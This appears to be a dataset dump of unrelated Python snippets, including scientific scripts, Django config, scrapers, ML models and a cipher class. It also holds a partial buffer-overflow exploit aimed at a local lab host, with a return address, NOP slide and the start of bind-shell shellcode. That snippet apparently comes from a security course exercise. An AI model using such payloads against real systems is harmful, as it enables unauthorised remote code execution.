id
stringlengths
1
8
text
stringlengths
6
1.05M
dataset_id
stringclasses
1 value
5050979
import matplotlib matplotlib.use("Agg") from astropy.io import fits as pyfits import numpy as np import scipy from scipy import optimize import copy import glob import os import matplotlib.pyplot as plt import sys sys.path.append("../utils/GLOBALutils") import GLOBALutils import pycurl def MedianCombine(ImgList,ZF=...
StarcoderdataPython
6529516
<reponame>kyzima-spb/django-adminlte-full from django.contrib import admin from . import models admin.site.register(models.MenuModel) admin.site.register(models.MenuItemModel)
StarcoderdataPython
181774
<reponame>eugenejen/hr-py-boilerplate """ test runner """ from hr_problem.main import main def test_main(): """ test """ input_data = '' output_data = main(input_data) expected_data = '' assert expected_data == output_data
StarcoderdataPython
4978810
<reponame>edupyter/EDUPYTER38<filename>Lib/site-packages/ipykernel/log.py import warnings from zmq.log.handlers import PUBHandler warnings.warn( "ipykernel.log is deprecated. It has moved to ipyparallel.engine.log", DeprecationWarning, stacklevel=2, ) class EnginePUBHandler(PUBHandler): """A simple ...
StarcoderdataPython
11282336
class CryptoStats: """POJO which contains trading stats for a currency pair""" def __init__ (self, open: float = 0.0, high: float = 0.0, low: float = 0.0, volume: float = 0.0, last: float = 0.0, volume30d: float = 0.0): self.open = open self.high = high self.low = low self.volume...
StarcoderdataPython
12844115
import requests from bs4 import BeautifulSoup import simplejson as json import config import pymysql global database_conn global database_cursor database_conn = pymysql.connect(host = config.db_host, user = config.db_user, passwd = config.db_pass, db = config.db_database, use_unicode=True, charset="utf8") dat...
StarcoderdataPython
8177213
<filename>tests/io/complex/__init__.py from .. import unittest
StarcoderdataPython
11339919
from os import environ from sys import stdin, stdout from math import gcd class Vigenere: def encrypt(self, txt, key): mod = 26 txt = txt.replace(" ", "") txt = txt.upper() n = len(txt) key_complete = "" m = len(key) for i in range(n): key_comple...
StarcoderdataPython
242829
# Author: <NAME> # On-Time Performance Data downloader # Data taken from https://www.transtats.bts.gov/DL_SelectFields.asp?Table_ID=236 # Field descriptions provided https://www.transtats.bts.gov/Fields.asp?Table_ID=236 """This script downloads weather data from for Ohare Airport from the US Bureau of Transportation ...
StarcoderdataPython
344747
<filename>python/analysis_toolbox.py<gh_stars>0 import numpy as np import matplotlib.pyplot as plt from optknock import OptKnock ################################################################################ # HTML output tools # ######################...
StarcoderdataPython
66156
""" Description taken from official website: https://datasets.kensho.com/datasets/spgispeech SPGISpeech consists of 5,000 hours of recorded company earnings calls and their respective transcriptions. The original calls were split into slices ranging from 5 to 15 seconds in length to allow easy training for speech rec...
StarcoderdataPython
389989
# TensorFlow and tf.keras import tensorflow as tf # Helper libraries import numpy as np import matplotlib.pyplot as plt from PIL import Image, ImageOps fashion_mnist = tf.keras.datasets.fashion_mnist (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data() ...
StarcoderdataPython
6605343
import pytest import socket from app import * @pytest.fixture def client(): client = app.test_client() return client def test_root(client): """Test the default route.""" res = client.get('/hello/Juan') assert 'Juan' in str(res.data) and str(socket.gethostname()) in str(res.data)
StarcoderdataPython
1996927
from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RejectUnsignedCommits(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure commits are signed" ...
StarcoderdataPython
6619067
<reponame>TauOmicronMu/Y13Computing<gh_stars>0 # -*- coding: utf-8 -*- #DeductExpenditureScreenStringsGerman DEDUCT_EXPENDITURE_HELP_TEXT = u"Hier können Sie die Ausgaben bei den Gesamtausgaben abziehen." ENTER_ADMIN_PASS_TEXT = u"Administrator-Kennwort: " EXPENDITURE_ONE_TEXT = u"Geben Sie Ausgaben abziehen: " EXPEND...
StarcoderdataPython
1893887
from flask import Flask from flask_cors import CORS def create_app(): try: app = Flask(__name__, instance_relative_config=True) CORS(app) from .common.mqtt_client import init_mqtt init_mqtt() @app.route("/") def home(): return "<h1>Welcome to flask mqtt...
StarcoderdataPython
1630020
<gh_stars>0 from django.contrib import admin from django.core import exceptions from django.forms import BaseInlineFormSet from django.forms.models import ModelForm from django.utils.translation import gettext_lazy as _ from ordered_model.admin import ( OrderedInlineModelAdminMixin, OrderedModelAdmin, Order...
StarcoderdataPython
1974724
import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score from KNN_Class import K_NN # import the iris dataset df = pd.read_csv("iris.csv", header=None) # identify our features and target x = np.array(df.drop(columns=[4])) y = np.array(df[4...
StarcoderdataPython
21513
<gh_stars>0 name = " alberT" one = name.rsplit() print("one:", one) two = name.index('al', 0) print("two:", two) three = name.index('T', -1) print("three:", three) four = name.replace('l', 'p') print("four:", four) five = name.split('l') print("five:", five) six = name.upper() print("six:", six) seven = name.low...
StarcoderdataPython
1807453
<gh_stars>1000+ from torchvision import transforms from ts.torch_handler.image_classifier import ImageClassifier class MNISTDigitClassifier(ImageClassifier): """ MNISTDigitClassifier handler class. This handler extends class ImageClassifier from image_classifier.py, a default handler. This handler takes ...
StarcoderdataPython
12857197
#!/usr/bin/python import sys, getopt, os, time, array from pyftdi.spi import SpiController def download ( filename, speed=5000000, chunksize=32 ): try: with open(filename, 'rb') as filein: data = filein.read () data = array.array('B', data).tolist() except IOError: print "ERROR: Could not open file {0}".f...
StarcoderdataPython
8140838
<filename>zhuaxia/netease.py # -*- coding:utf-8 -*- import time import re import requests import log, config, util import json import md5 import os from os import path import downloader from obj import Song, Handler if config.LANG.upper() == 'CN': import i18n.msg_cn as msg else: import i18n.msg_en as msg LOG ...
StarcoderdataPython
9791906
# -*- coding: utf-8 -*- """ Tertiary example - Plotting sin3 =================================== This is a general example demonstrating a Matplotlib plot output, embedded rST, the use of math notation and cross-linking to other examples. It would be useful to compare with the output below. .. math:: x \\rightar...
StarcoderdataPython
3581668
import requests from datetime import date, timedelta """ script to get the current exchange rate for currencies via API from FIXER.IO and send it via TELEGRAM to the user this scripts runs once a day on PYTHONANYWHERE.COM """ #to FIXER.io _ACCESS_KEY = 'YOUR_FIXER_IO_KEY' #Telegram keys _BOT_TOKEN = '<PA...
StarcoderdataPython
383729
from spaceone.inventory.connector.aws_elasticache_connector.connector import ElastiCacheConnector
StarcoderdataPython
5049518
import pymel.core as pm import AETemplates as aetml def unload_mtm_plugin(): pm.newFile(force=True) if pm.pluginInfo("mayatomantra.mll", query=True, loaded=True): pm.unloadPlugin("mayatomantra.mll") pm.newFile(force=True) def load_mtm_plugin(): if not pm.pluginInfo("mayatomantra.mll", ...
StarcoderdataPython
8191741
# Copyright 2014 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
StarcoderdataPython
3248887
<reponame>IL2HorusTeam/il2fb-ds-events-parser import datetime import re from typing import Optional from il2fb.commons.actors import HumanAircraftActor from il2fb.commons.spatial import Point3D from il2fb.ds.events.definitions.takeoff import HumanAircraftTookOffEvent from il2fb.ds.events.definitions.takeoff import H...
StarcoderdataPython
8029785
<filename>server/athenian/api/models/web/organization.py<gh_stars>1-10 from typing import Optional from athenian.api.models.web.base_model_ import Model class Organization(Model): """GitHub organization details.""" openapi_types = { "name": str, "avatar_url": str, "login": str, }...
StarcoderdataPython
8165105
# Good morning! Here's your coding interview problem for today. # This problem was asked by Jane Street. # cons(a, b) constructs a pair, and car(pair) and cdr(pair) returns the first and last element of that pair. # For example, car(cons(3, 4)) returns 3, and cdr(cons(3, 4)) returns 4. # Given this implementation of c...
StarcoderdataPython
3364597
<filename>hello_world_cpp/launch/talker_listener_singleprocess.launch.py import launch from launch_ros.actions import ComposableNodeContainer from launch_ros.descriptions import ComposableNode def generate_launch_description(): container = ComposableNodeContainer( node_name = 'my_container', ...
StarcoderdataPython
8046504
<reponame>Anancha/Programming-Techniques-using-Python def mydecorator(myfunc): def func1(myname): if myname=="Michael": print("Hello",myname,"!Your functionality is extended!") else: myfunc(myname) return func1 @mydecorator def greet(myname): print("HI!",myname,"!Wel...
StarcoderdataPython
11200918
<reponame>fsi-sandbox/fsi-sdk-python class Union: def __init__(self, params): self.url = params['base_url'] self.headers = { "Sandbox-Key": params['Sandbox-Key'], "Content-Type": params['Content-Type'] }
StarcoderdataPython
6660004
# Licensed under an MIT open source license - see LICENSE from __future__ import print_function, absolute_import, division ''' Dendrogram statistics as described in Burkhart et al. (2013) Two statistics are contained: * number of leaves + branches vs. $\delta$ parameter * statistical moments of the intensity ...
StarcoderdataPython
226020
""" Name : c8_08_python_hierachical.py Book : Hands-on Data Science with Anaconda ) Publisher: Packt Publishing Ltd. Author : <NAME> and <NAME> Date : 3/25/2018 email : <EMAIL> <EMAIL> """ import numpy as np import scipy.cluster.hierarchy as hac import matplotlib.pyplot as p...
StarcoderdataPython
1880446
import sys # Functions for PHS Adventure. def get_choice(choices): # This function takes in a dictionary of choices, # and returns the user's choice. # The dictionary has the form: # {'choice_token': 'choice text', } # The function forces the user to make one of the given choices, # or q...
StarcoderdataPython
6662791
import os import time import torch import argparse from models.model import YOLOv1 import matplotlib.pyplot as plt from torchvision import utils from torch.optim import SGD, Adam # from torchviz import make_dot from models import build_model from utils.util import YOLOLoss, parse_cfg from utils.datasets import create_d...
StarcoderdataPython
4803401
<gh_stars>1-10 #!/usr/bin/env python3 """" Script that prints graph. Usage: python print_graph.py -e (comma separated input files(each file is an output of script: compute_evaluation.py or run_all_scrips.py)) -n (comma separated nicknames - for each input file there must be its ni...
StarcoderdataPython
228856
import torch.nn as nn nb_timestep = 4 # https://github.com/PanoAsh/Saliency-Attentive-Model-Pytorch/blob/master/main.py class AttentiveLSTM(nn.Module): def __init__(self, nb_features_in, nb_features_out, nb_features_att, nb_rows, nb_cols): super(AttentiveLSTM, self).__init__() # define the funda...
StarcoderdataPython
9684986
<gh_stars>0 #!/usr/bin/python # module abstractphonetics # This module contains a # # Copyright (c) 2020 Universidad de Costa Rica. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # - Redistrib...
StarcoderdataPython
3561334
<gh_stars>0 from userbot import is_mongo_alive, is_redis_alive, BOTLOG, BOTLOG_CHATID from userbot.events import register from userbot.modules.dbhelper import add_list from . import DB_FAILED @register(outgoing=True, pattern=r"^\.add(g)?list (\w*)") async def addlist(event): """ For .add(g)list command, saves lis...
StarcoderdataPython
6614696
<gh_stars>1-10 import unittest from tabcmd.commands.project.create_project_command import CreateProjectCommand from .common_setup import * commandname = "createproject" class CreateProjectParserTest(unittest.TestCase): @classmethod def setUpClass(cls): cls.parser_under_test = initialize_test_pieces(...
StarcoderdataPython
683
class Node(object): def __init__(self, name, follow_list, intention, lane): self.name = name self.follow_list = follow_list self.intention = intention self.lane = lane def __eq__(self, other): if isinstance(other, Node): if self.name == other.get...
StarcoderdataPython
3433998
<filename>src/app.py import threading from random import randint, uniform from playsound import playsound from turtle import Screen, Turtle, screensize from utils.alerts import show_alert from utils.score import update_scoreboard from intro import start_intro screen = Screen() screen.bgcolor('#000000') screen.bgpic('....
StarcoderdataPython
1855641
""" Leetcode 797 - All Paths From Source To Target https://leetcode.com/problems/all-paths-from-source-to-target/ 1. MINE DFS: Time: O(2^(N-2)) Space: O((N+2)*2^(N-3)) """ from typing import List class Solution1: """ 1. MINE DFS """ def all_paths_source_target(self, graph: List[List[int]]) -> List[List[...
StarcoderdataPython
11289308
from .msg import MsgEnum from .code import CodeEnum from .modbus import ModbusCodeEnum
StarcoderdataPython
4833265
<reponame>mkraft89/To_eels_app<filename>Calc_power_cresc.py import numpy as np from math import factorial gamma = 0.032 n = np.arange(0,30,1) ep0 = 8.85e-12 epD = 1.0 c = 3e8 Conv = 1.602e-19/6.626e-34*2*np.pi #Conversion from eV to SI-units def Pow_abs(x0, x_e, c_e, g, R0, R1, omega): """Calculate the power abso...
StarcoderdataPython
5179522
<reponame>DubstepWar/flask-blog-test<gh_stars>0 from app_blog.extensions import db, ma import datetime as dt class Category(db.Model): __tablename__ = "categories" id = db.Column(db.Integer, primary_key=True, autoincrement=True) name = db.Column(db.String, nullable=False, unique=True) created_at = db...
StarcoderdataPython
176045
""" This file is part of nucypher. nucypher is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. nucypher is distributed in the hope that it wil...
StarcoderdataPython
1662723
import os import pandas as pd import tensorflow as tf from tensorflow.keras.preprocessing import sequence,text from tensorflow.keras import models from tensorflow.keras.layers import Dense, Dropout, Embedding, Conv1D, MaxPooling1D, GlobalAveragePooling1D import numpy as np data_set = pd.read_csv('Dataset.csv', header...
StarcoderdataPython
3538619
<reponame>joranbeasley/Raccoon import os import distutils.spawn from collections import Counter from subprocess import PIPE, check_call, CalledProcessError from requests.exceptions import ConnectionError from raccoon_src.utils.exceptions import RaccoonException, ScannerException, RequestHandlerException from raccoon_sr...
StarcoderdataPython
6502305
<gh_stars>0 from dataclasses import dataclass from typing import List import queue from concurrent.futures import ThreadPoolExecutor from datetime import datetime from utils import ErrorCounter, Changes, log, get_event_id, get_dict_hash from storage import ClusterEventsStorage, ElasticsearchStorage from events_scrape i...
StarcoderdataPython
8071535
<filename>tests/unit/test_lazy.py<gh_stars>1-10 # import pytest class Testcached_property: def test___set_name__(self): # synced assert True def test___get__(self): # synced assert True
StarcoderdataPython
9731077
<reponame>MaksHess/napari<filename>napari/_tests/test_sys_info.py from napari.utils.info import sys_info # vispy use_app tries to start Qt, which can cause segfaults when running # sys_info on CI unless we provide a pytest Qt app def test_sys_info(qapp): str_info = sys_info() assert isinstance(str_info, str) ...
StarcoderdataPython
6562887
<gh_stars>0 import scipy import matplotlib.pyplot as plt import scipy.io.wavfile sample_rate, X = scipy.io.wavfile.read('signal_noise.wav') print (sample_rate, X.shape ) plt.specgram(X, Fs=sample_rate) plt.show() sample_rate, X = scipy.io.wavfile.read('noise.wav') print (sample_rate, X.shape ) plt.specgram(X, Fs=sample...
StarcoderdataPython
3255768
import glob import argparse import math import random import os import shutil parser = argparse.ArgumentParser() parser.add_argument('--data-root', type=str, default='/eva_data/zchin/cityscapes/all_train', help='trainig image saving directory') parser.add_argument('--ratio', type=float, default=0...
StarcoderdataPython
11222968
from src.masonite.providers import StatusCodeProvider from src.masonite.request import Request from src.masonite.response import Response from src.masonite.view import View from src.masonite.app import App from src.masonite.providers.StatusCodeProvider import ServerErrorExceptionHook from src.masonite.testing import ge...
StarcoderdataPython
3311013
<filename>facebook/alienDict.py from collections import defaultdict class Solution(object): def alienOrder(self, words): map = {} letters = [0 for i in range(26)] for i in range(len(words)): for j in range(len(words[i])): key=ord(words[i][j])-ord('a') ...
StarcoderdataPython
282913
<reponame>not4YU5H/hacktoberfest2021-2 from tkinter import * from tkinter import messagebox import tkinter.messagebox as mbox import tkinter as tk root = Tk() root.title("Virtual Keyboard") root.geometry('1000x700') class Keypad(tk.Frame): cells = [ ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0'], ...
StarcoderdataPython
6539517
# When pip installs anything from packages, py_modules, or ext_modules that # includes a twistd plugin (which are installed to twisted/plugins/), # setuptools/distribute writes a Package.egg-info/top_level.txt that includes # "twisted". If you later uninstall Package with `pip uninstall Package`, # pip <1.2 removes al...
StarcoderdataPython
1783350
<reponame>jin10086/py-evm from eth.tools.fixtures.helpers import ( get_test_name, ) from eth.tools.fixtures.normalization import ( normalize_bytes, normalize_call_creates, normalize_environment, normalize_execution, normalize_int, normalize_logs, normalize_state, ) from eth.tools._utils....
StarcoderdataPython
6505596
<reponame>unworld11/Basic-Attendance<gh_stars>1-10 #Attendance for Zoom print("Attendance Register") Headers = ['Roll No.','Name'] Column = [] students = int(input("Number of Students in class ::: ")) for i in range(students): roll=int(input("Enter Roll No. : ")) name=input("Enter Name :: ") ...
StarcoderdataPython
1809410
<reponame>iver56/wikipendium.no<filename>wikipendium/wiki/context_processors.py<gh_stars>10-100 import wikipendium.settings as settings def google_analytics_processor(request): try: return {'GOOGLE_ANALYTICS_KEY': settings.GOOGLE_ANALYTICS_KEY, 'GOOGLE_ANALYTICS_NAME': settings.GOOGLE_ANAL...
StarcoderdataPython
5176822
<filename>yelp/errors.py ''' Custom exception module ''' # --- python module imports from flask import jsonify # --- local module imports from yelp import app class InvalidUsage(Exception): status_code = 400 def __init__(self, message, status_code=None, payload=None): # initialize the base ...
StarcoderdataPython
11202091
import sys import reader r = reader.Reader(sys.argv[1]) try: print(r.read()) finally: r.close()
StarcoderdataPython
324991
# -*- coding: utf8 -*- #time:2017/9/19 11:34 #VERSION:1.0 #__OUTHOR__:guangguang #Email:<EMAIL> from numpy import * # load data 导入数据 def loadDataSet(fileName): numFeat = len(open(fileName).readline().split('\t')) - 1 dataMat = []; labelMat = [] fd = open(fileName) for line in fd.readlines(): li...
StarcoderdataPython
346313
import sys def main(): if len(sys.argv) < 2: sys.exit("Too few arguments, please provide a valid semantic version") version = sys.argv[1] semver_file = open("semver", "r", newline="\n") semver = semver_file.read() semver_file.close() if semver != version: sys.exit("Given semantic version " + versio...
StarcoderdataPython
4870645
# -*- coding: utf-8 -*- # Licensed under the MIT license # http://opensource.org/licenses/mit-license.php # Copyright 2008, <NAME> <<EMAIL>> # Copyright 2014, <NAME> <<EMAIL>> from coherence.upnp.devices.basics import DeviceHttpRoot, BasicDevice from coherence.upnp.services.servers.switch_power_server import SwitchP...
StarcoderdataPython
1635652
from __future__ import absolute_import from __future__ import print_function import os from shutil import copyfile from testing_simulation import Simulation from generator import TrafficGenerator from model import TestModel from visualization import Visualization from utils import import_test_configuration, set_sumo,...
StarcoderdataPython
5138293
<filename>installer/steps/b_pip.py from helper import * section("Install requirements") shell("pip install -U -r installer/requirements.txt", True).should_not_fail()
StarcoderdataPython
3591415
<reponame>Facco98/OffTech #!/usr/bin/python import requests host='192.168.56.10' port=8081 # Our return address ( shifted from beginning of buffer ) ret_address = b'\x50\xca\x5d\xf7\xff\x7f' ret_addr_length = 6; inital_nop_slide_length = 500 # Our shellcode to bind a shell on port 31337 shellcode=b'\x48\x31\xc0\x48\...
StarcoderdataPython
3277214
import numpy as np from multiagent.core import World, Landmark from multiagent.scenario import BaseScenario from particle_environments.mager.world import MortalAgent, HazardousWorld from particle_environments.mager.observation import format_observation from particle_environments.common import is_collision, distance, de...
StarcoderdataPython
6559869
import requests import json with open("../config.json") as fp: file = json.load(fp) APIKEY = file["ApiKey"] CITY = file["city"] LOCATION = file["country"] UNIT = "metric" BASEURL = f"http://api.openweathermap.org/data/2.5/weather?q={CITY},{LOCATION}&APPID={APIKEY}&units={UNIT}" result = requests.get...
StarcoderdataPython
368713
<filename>app/core/middleware.py from django.utils.deprecation import MiddlewareMixin from django.http import HttpResponse class AdminPermissionCheckMiddleware(MiddlewareMixin): SSO_UNAUTHORISED_ACCESS_MESSAGE = ( 'This application now uses internal Single Sign On. Please speak ' 'to the GREAT Tea...
StarcoderdataPython
4881542
<gh_stars>0 """ main module """ from concurrent.futures import ThreadPoolExecutor from datetime import date from requests import request import time import threading from rates_demo.business_days import business_days def get_rates() -> None: """ get the rates """ start_date = date(2021, 1, 1) end_date =...
StarcoderdataPython
3585952
<filename>scrapper.py<gh_stars>0 """ Scrapper implementation """ from datetime import datetime import json import shutil from bs4 import BeautifulSoup import requests from constants import ASSETS_PATH, CRAWLER_CONFIG_PATH from core_utils.article import Article class IncorrectURLError(Exception): """ Seed URL...
StarcoderdataPython
8059745
<reponame>pranavj1001/MachineLearningRecipes<gh_stars>1-10 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sat Nov 25 23:50:01 2017 @author: pranavjain This model classifies the flower species using Naive Bayes. Required Data to predict SepalLength in cm, SepalWidth in cm, PetalLength in cm, PetalWidth ...
StarcoderdataPython
172121
# Chapter 4 # 60 sec/min * 60 min/hr * 24 hr/day # seconds_per_day = 86400 seconds_per_day = 86400 # 60 sec/min * 60 min/hr * 24 hr/day # Continue Lines with \ alphabet = 'abcdefg' + \ 'hijklmnop' + \ 'qrstuv' + \ 'wxyz' print(alphabet) # Compare with if, elif, and else disaster = True if disaster: p...
StarcoderdataPython
61558
<reponame>twerkmeister/table-segmenter import argparse from typing import Text import os import table_segmenter.model import table_segmenter.io import table_segmenter.preprocessing import table_segmenter.metrics import tensorflow from tensorflow import keras def load_data_for_training(data_path: Text): """Conven...
StarcoderdataPython
9624002
<reponame>Den4200/pyfrost import socket from typing import Optional, Tuple class UserObj: """Represents a user. :param addr: The IP address and port of the connected user :type addr: Tuple[str, int] :param conn: The socket instance of the connected user :type conn: 'socket.socket' :param id_:...
StarcoderdataPython
1784214
<filename>preprocess_ct_scans.py import os import pydicom import joblib import dicom_numpy from fastai.medical.imaging import get_dicom_files from preprocess_volumes import CleanCTScans from joblib import Parallel, delayed def get_ct_scan_as_list_of_pydicoms(folder, destination_folder): list_of_dicom_files = get_...
StarcoderdataPython
42025
<filename>programa idade/ex002.py def idade_pessoa(id): idp = int(id) if idp <0: return 'idade inválida' elif idp <12: return 'você ainda é uma criança' elif idp <18: return 'você é adolecente' elif idp <65: return 'Você já é adulto' elif idp <100: retur...
StarcoderdataPython
4994499
<reponame>smoorjani/Diabetes-Classifer import pandas as pd import numpy as np df = pd.read_csv('diabetes.csv',usecols=[i for i in range(8)]) from sklearn.preprocessing import StandardScaler scaler = StandardScaler() scaler.fit(df) scaled = scaler.transform(df) df_columns = df.columns[:8] scaled_df = pd....
StarcoderdataPython
1887981
def _apply_entities(text, entities, escape_map, format_map): # Split string into char sequence and escape in-place to # preserve index positions. seq = list(map(lambda c, i: escape_map[c] # escape special characters if c in escape_map else c, ...
StarcoderdataPython
8179953
from pathlib import Path import pytest # type: ignore from ape import Project, networks from ape_http.providers import EthereumNetworkConfig from ape_hardhat import HardhatProvider def get_project(): return Project(Path(__file__).parent) def get_network_config(): p = get_project() config_classes = [ ...
StarcoderdataPython
298620
<reponame>copini/ha-sagemcom-fast """Options flow for Sagemcom integration.""" from homeassistant import config_entries from homeassistant.const import CONF_SCAN_INTERVAL import homeassistant.helpers.config_validation as cv import voluptuous as vol from .const import DEFAULT_SCAN_INTERVAL, MIN_SCAN_INTERVAL class O...
StarcoderdataPython
1874367
# Write a function which takes an array of numbers as input and returns the product of them all # Example: # product_of_array([1,2,3]) => 6 # product_of_array([1,2,3,4]) => 24 def product_of_array(arr): arr_len = len(arr) if arr_len == 0: return 1 else: return arr[0] * product_of...
StarcoderdataPython
5097576
from pykechain.models.widgets.widget import Widget from pykechain.models.widgets.widget_schemas import undefined_meta_schema # UNDEFINED = 'UNDEFINED' # PROPERTYGRID = 'PROPERTYGRID' # SUPERGRID = 'SUPERGRID' # HTML = 'HTML' # FILTEREDGRID = 'FILTEREDGRID' # SERVICE = 'SERVICE' # NOTEBOOK = 'NOTEBOOK' # ATTACHMENTVIE...
StarcoderdataPython
1722954
''' The sum of the squares of the first ten natural numbers is, 12 + 22 + ... + 102 = 385 The square of the sum of the first ten natural numbers is, (1 + 2 + ... + 10)2 = 552 = 3025 Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 − 385 = 2640. Fi...
StarcoderdataPython
5008672
<reponame>ferhatelmas/algo class Solution: def countGoodSubstrings(self, s: str) -> int: return sum(len(set(s[i : i + 3])) == 3 for i in range(0, len(s) - 2))
StarcoderdataPython
1616594
<gh_stars>1-10 import urllib.parse import urllib.request import os import shutil from PIL import Image import img2pdf def createPDF(bookInfo, startPage, endPage): def directoryPath(): return f"{bookInfo['Title']}" def filePath(i): return directoryPath() + f"/{i}.{bookInfo['Image Format']}" def makeDir...
StarcoderdataPython
3444792
<gh_stars>0 """ Original code available at: https://github.com/udacity/deep-learning-v2-pytorch/tree/master/ intro-neural-networks/student-admissions # Predicting Student Admissions with Neural Networks In this notebook, we predict student admissions to graduate school at UCLA based on three pieces of dat...
StarcoderdataPython
8141844
# Generated by Django 2.1.2 on 2018-10-31 11:32 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('russian', '0003_auto_201...
StarcoderdataPython
12809572
<gh_stars>1-10 # stdlib import dataclasses from uuid import UUID # third party import sympc from sympc.config import Config from sympc.tensor import ReplicatedSharedTensor # syft absolute import syft # syft relative from ...generate_wrapper import GenerateWrapper from ...lib.torch.tensor_util import protobuf_tensor_...
StarcoderdataPython
11230813
<filename>emscore/__init__.py __version__ = "0.0.1" from .scorer import *
StarcoderdataPython
1711682
from pathlib import Path BASE_DIR = Path(__file__).resolve(strict=True).parents[1] GODOT_PROJECT = BASE_DIR / 'script_runner' / 'project' PYTHON_PACKAGE = 'script_runner' GDNATIVE_LIBRARY = 'script_runner.gdnlib'
StarcoderdataPython
9750845
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
StarcoderdataPython
5181583
# Copyright 2011 <NAME> <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
StarcoderdataPython
9753655
import numpy from numpy.testing import assert_allclose import theano from theano import tensor from theano import function from blocks.bricks import Softmax from blocks.bricks.cost import CategoricalCrossEntropy def test_softmax_vector(): x = tensor.matrix('x') y = tensor.lvector('y') softmax_out = Sof...
StarcoderdataPython
3450382
from pygears.core.gear import alternative, gear from pygears.typing import Uint from pygears.util.hof import oper_tree @gear(enablement=b'len(din) == 2') def eq(*din, din0_signed=b'typeof(din0, Int)', din1_signed=b'typeof(din1, Int)') -> Uint[1]: pass @alternative(eq) @gear def eq_vararg(*din, ena...
StarcoderdataPython